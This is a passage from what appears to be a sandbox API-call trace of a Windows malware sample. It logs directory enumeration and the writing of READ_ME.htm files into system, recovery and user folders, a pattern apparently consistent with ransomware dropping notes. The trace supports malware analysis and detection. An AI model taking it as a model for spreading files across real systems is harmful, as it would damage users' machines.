lpBuffer=0x2867ae0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0140.177] CloseHandle (hObject=0x1d0) returned 1 [0140.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Templates", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Templates", lpFilePart=0x0) returned 0x18 [0140.179] SetErrorMode (uMode=0x1) returned 0x0 [0140.179] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*" (normalized: "c:\\programdata\\templates\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0140.180] SetErrorMode (uMode=0x0) returned 0x1 [0140.181] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Templates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Templates\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0140.181] SetErrorMode (uMode=0x1) returned 0x0 [0140.181] CreateFileW (lpFileName="C:\\ProgramData\\Templates\\READ_ME.htm" (normalized: "c:\\programdata\\templates\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.195] GetFileType (hFile=0x1d0) returned 0x1 [0140.195] SetErrorMode (uMode=0x0) returned 0x1 [0140.195] GetFileType (hFile=0x1d0) returned 0x1 [0140.195] WriteFile (in: hFile=0x1d0, lpBuffer=0x286d3f8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x286d3f8*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0140.196] CloseHandle (hObject=0x1d0) returned 1 [0140.197] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\READ_ME.htm", lpFilePart=0x0) returned 0x1a [0140.197] SetErrorMode (uMode=0x1) returned 0x0 [0140.197] CreateFileW (lpFileName="C:\\ProgramData\\READ_ME.htm" (normalized: "c:\\programdata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.198] GetFileType (hFile=0x1d0) returned 0x1 [0140.198] SetErrorMode (uMode=0x0) returned 0x1 [0140.198] GetFileType (hFile=0x1d0) returned 0x1 [0140.198] WriteFile (in: hFile=0x1d0, lpBuffer=0x2871928*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d698, lpOverlapped=0x0 | out: lpBuffer=0x2871928*, lpNumberOfBytesWritten=0x21d698*=0x720, lpOverlapped=0x0) returned 1 [0140.199] CloseHandle (hObject=0x1d0) returned 1 [0140.199] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0140.200] SetErrorMode (uMode=0x1) returned 0x0 [0140.200] FindFirstFileW (in: lpFileName="C:\\Recovery\\*" (normalized: "c:\\recovery\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.200] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.200] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d327d5c2-7147-11eb-9862-d731c5aaa7a9", cAlternateFileName="D327D5~1")) returned 1 [0140.200] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d327d5c2-7147-11eb-9862-d731c5aaa7a9", cAlternateFileName="D327D5~1")) returned 0 [0140.201] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.201] SetErrorMode (uMode=0x0) returned 0x1 [0140.201] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0140.201] SetErrorMode (uMode=0x1) returned 0x0 [0140.201] FindFirstFileW (in: lpFileName="C:\\Recovery\\*" (normalized: "c:\\recovery\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.201] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.202] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d327d5c2-7147-11eb-9862-d731c5aaa7a9", cAlternateFileName="D327D5~1")) returned 1 [0140.202] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d327d5c2-7147-11eb-9862-d731c5aaa7a9", cAlternateFileName="D327D5~1")) returned 0 [0140.202] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.202] SetErrorMode (uMode=0x0) returned 0x1 [0140.202] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9", lpFilePart=0x0) returned 0x30 [0140.202] SetErrorMode (uMode=0x1) returned 0x0 [0140.203] FindFirstFileW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\*" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.203] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.203] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0140.203] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0140.203] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0140.204] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.204] SetErrorMode (uMode=0x0) returned 0x1 [0140.204] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9", lpFilePart=0x0) returned 0x30 [0140.204] SetErrorMode (uMode=0x1) returned 0x0 [0140.204] FindFirstFileW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\*" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.204] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.204] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0140.205] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0140.205] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0140.205] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.205] SetErrorMode (uMode=0x0) returned 0x1 [0140.205] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\READ_ME.htm", lpFilePart=0x0) returned 0x3c [0140.205] SetErrorMode (uMode=0x1) returned 0x0 [0140.205] CreateFileW (lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\READ_ME.htm" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.206] GetFileType (hFile=0x1d0) returned 0x1 [0140.206] SetErrorMode (uMode=0x0) returned 0x1 [0140.206] GetFileType (hFile=0x1d0) returned 0x1 [0140.206] WriteFile (in: hFile=0x1d0, lpBuffer=0x2879580*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x2879580*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0140.207] CloseHandle (hObject=0x1d0) returned 1 [0140.207] GetFullPathNameW (in: lpFileName="C:\\Recovery\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\READ_ME.htm", lpFilePart=0x0) returned 0x17 [0140.208] SetErrorMode (uMode=0x1) returned 0x0 [0140.208] CreateFileW (lpFileName="C:\\Recovery\\READ_ME.htm" (normalized: "c:\\recovery\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.208] GetFileType (hFile=0x1d0) returned 0x1 [0140.208] SetErrorMode (uMode=0x0) returned 0x1 [0140.208] GetFileType (hFile=0x1d0) returned 0x1 [0140.208] WriteFile (in: hFile=0x1d0, lpBuffer=0x287daa0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d698, lpOverlapped=0x0 | out: lpBuffer=0x287daa0*, lpNumberOfBytesWritten=0x21d698*=0x720, lpOverlapped=0x0) returned 1 [0140.210] CloseHandle (hObject=0x1d0) returned 1 [0140.210] GetFullPathNameW (in: lpFileName="C:\\System Volume Information", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information", lpFilePart=0x0) returned 0x1c [0140.210] SetErrorMode (uMode=0x1) returned 0x0 [0140.210] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*" (normalized: "c:\\system volume information\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0140.222] SetErrorMode (uMode=0x0) returned 0x1 [0140.225] GetFullPathNameW (in: lpFileName="C:\\System Volume Information\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0140.225] SetErrorMode (uMode=0x1) returned 0x0 [0140.225] CreateFileW (lpFileName="C:\\System Volume Information\\READ_ME.htm" (normalized: "c:\\system volume information\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0140.226] SetErrorMode (uMode=0x0) returned 0x1 [0140.227] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0140.227] SetErrorMode (uMode=0x1) returned 0x0 [0140.227] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4abb0260, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4abb0260, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4abb0260, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4abb0260, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0140.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0140.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0140.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0140.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 1 [0140.228] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0140.229] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abb0260, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4abb0260, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4abd63c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.229] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abb0260, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4abb0260, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4abd63c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.229] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.229] SetErrorMode (uMode=0x0) returned 0x1 [0140.229] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0140.230] SetErrorMode (uMode=0x1) returned 0x0 [0140.230] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4abb0260, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4abb0260, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.230] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4abb0260, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4abb0260, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.230] FindNextFileW (in: hFindFile=0x2fe5d0, 